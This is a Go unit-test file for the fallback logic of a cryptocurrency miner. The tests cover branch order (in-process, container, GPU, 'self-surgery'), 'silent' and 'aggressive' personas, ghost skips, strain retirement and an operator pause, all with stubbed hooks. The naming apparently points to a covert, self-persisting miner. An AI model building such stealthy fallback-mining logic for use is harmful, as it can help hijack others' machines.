package miner

import (
	"context"
	"sync/atomic"
	"testing"
	"time"
)

func TestDefaultContingencyBranchOrder(t *testing.T) {
	want := []ContingencyBranch{BranchInProcess, BranchContainer, BranchGPUSubprocess, BranchIdleTune, BranchSelfSurgery}
	if len(DefaultContingencyBranchOrder) != len(want) {
		t.Fatalf("order=%v", DefaultContingencyBranchOrder)
	}
	for i := range want {
		if DefaultContingencyBranchOrder[i] != want[i] {
			t.Fatalf("idx %d = %q want %q", i, DefaultContingencyBranchOrder[i], want[i])
		}
	}
}

func TestMutateBranchOrderForPersona(t *testing.T) {
	base := append([]ContingencyBranch(nil), DefaultContingencyBranchOrder...)
	agg := MutateBranchOrderForPersona(base, "aggressive", false)
	if agg[0] != BranchGPUSubprocess && agg[0] != BranchInProcess {
		t.Fatalf("aggressive should front gpu/inprocess, got %v", agg)
	}
	silent := MutateBranchOrderForPersona(base, "silent", false)
	if silent[0] != BranchContainer {
		t.Fatalf("silent should front container, got %v", silent)
	}
	rotated := MutateBranchOrderForPersona(base, "balanced", true)
	if len(rotated) != len(base) {
		t.Fatalf("rotate length=%d", len(rotated))
	}
}

func TestContingencyTreeWinsOnInProcess(t *testing.T) {
	var hr atomic.Value
	hr.Store(1200.0)
	var hops []OnionMinerHop
	gate := NewPoolGate()
	r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{
		StartInProcess: func() error { return nil },
		StartContainer: func() error { return ErrMethodUnavailable },
		StartGPU:       func() error { return ErrMethodUnavailable },
		ApplyIdleTune:  func() error { return nil },
		ApplySurgery:   func([]string, string) error { return nil },
		StopAll:        func() {},
		Hashrate:       func() float64 { v, _ := hr.Load().(float64); return v },
		PoolActive:     gate.Active,
		AcquirePool:    func() bool { return gate.Acquire("canonical") },
		ReleasePool:    func() { gate.Release("canonical") },
	}, func(h OnionMinerHop, depth int, exhausted bool) {
		hops = append(hops, h)
	})

	ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
	defer cancel()
	go r.Run(ctx)
	time.Sleep(200 * time.Millisecond)
	cancel()

	method, ok := r.Frozen()
	if !ok || method != BranchInProcess {
		t.Fatalf("frozen=%q ok=%v hops=%d", method, ok, len(hops))
	}
	won := false
	for _, h := range hops {
		if h.Outcome == "won" && h.Method == string(BranchInProcess) {
			won = true
		}
	}
	if !won {
		t.Fatalf("expected won hop, got %v", hops)
	}
}

func TestGhostSkipsWhenPoolHeld(t *testing.T) {
	gate := NewPoolGate()
	gate.Acquire("canonical")
	var ghostSkipped int
	r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1, Personas: []string{"silent"}}, BranchAttemptHooks{
		StartInProcess: func() error { return nil },
		StartContainer: func() error { return nil },
		Hashrate:       func() float64 { return 0 },
		PoolActive:     gate.Active,
		AcquirePool:    func() bool { return gate.Acquire("canonical") },
		ReleasePool:    func() { gate.Release("canonical") },
	}, func(h OnionMinerHop, _ int, _ bool) {
		if h.Outcome == "ghost_skipped" {
			ghostSkipped++
		}
	})
	_ = r.tryBranch(context.Background(), BranchContainer, "silent", "silent", true)
	if ghostSkipped != 1 {
		t.Fatalf("ghost_skipped=%d", ghostSkipped)
	}
}

func TestHospiceRetiresAfterExhaustCycles(t *testing.T) {
	var retired bool
	policy := ContingencyPolicy{Enabled: true, JitterMs: 1, HospiceAfter: 2}
	r := NewContingencyTreeRunner(policy, BranchAttemptHooks{
		StartInProcess: func() error { return ErrMethodUnavailable },
		StartContainer: func() error { return ErrMethodUnavailable },
		StartGPU:       func() error { return ErrMethodUnavailable },
		ApplyIdleTune:  func() error { return ErrMethodUnavailable },
		ApplySurgery:   func([]string, string) error { return ErrMethodUnavailable },
		StopAll:        func() {},
		Hashrate:       func() float64 { return 0 },
		AcquirePool:    func() bool { return true },
		ReleasePool:    func() {},
	}, func(h OnionMinerHop, _ int, exhausted bool) {
		if h.Outcome == "strain_retired" {
			retired = true
		}
	})

	ctx, cancel := context.WithTimeout(context.Background(), 3*time.Second)
	defer cancel()
	go r.Run(ctx)
	time.Sleep(2500 * time.Millisecond)
	cancel()
	if !retired {
		t.Fatal("expected hospice strain_retired hop")
	}
}

func TestApplyBranchParamsResetsExhaustion(t *testing.T) {
	r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true}, BranchAttemptHooks{}, nil)
	r.exhaustCycles = 5
	r.ApplyBranchParams(ContingencyBranchParams{
		BranchOrder: []string{"container", "inprocess"},
		Persona:     "aggressive",
		SkipMethods: []string{"gpu_subprocess"},
	})
	if r.exhaustCycles != 0 {
		t.Fatalf("exhaust=%d", r.exhaustCycles)
	}
	if len(r.branchOrder) != 2 || r.branchOrder[0] != BranchContainer {
		t.Fatalf("order=%v", r.branchOrder)
	}
	if !r.skipMethods["gpu_subprocess"] {
		t.Fatal("expected skip gpu_subprocess")
	}
}

func TestOperatorPauseStopsRun(t *testing.T) {
	r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{
		Hashrate:    func() float64 { return 0 },
		AcquirePool: func() bool { return true },
		ReleasePool: func() {},
	}, nil)
	r.SetOperatorPaused(true)
	ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
	defer cancel()
	r.Run(ctx)
	if r.Depth() != 0 {
		t.Fatalf("depth=%d want 0 on pause", r.Depth())
	}
}

func TestBranchWonThreshold(t *testing.T) {
	if !BranchWon(1.0) {
		t.Fatal("1 H/s should win")
	}
	if BranchWon(0) {
		t.Fatal("0 should not win")
	}
}

func TestContingencyRunPassSkipsMethod(t *testing.T) {
	r := NewContingencyTreeRunner(ContingencyPolicy{Enabled: true, JitterMs: 1}, BranchAttemptHooks{
		StartInProcess: func() error { return nil },
		StartContainer: func() error { return ErrMethodUnavailable },
		Hashrate:       func() float64 { return 100 },
		AcquirePool:    func() bool { return true },
		ReleasePool:    func() {},
	}, nil)
	r.ApplyBranchParams(ContingencyBranchParams{
		BranchOrder: []string{"container", "inprocess"},
		SkipMethods: []string{"container"},
	})
	ctx, cancel := context.WithTimeout(context.Background(), 500*time.Millisecond)
	defer cancel()
	if !r.runPass(ctx) {
		t.Fatal("expected inprocess win after container skipped")
	}
}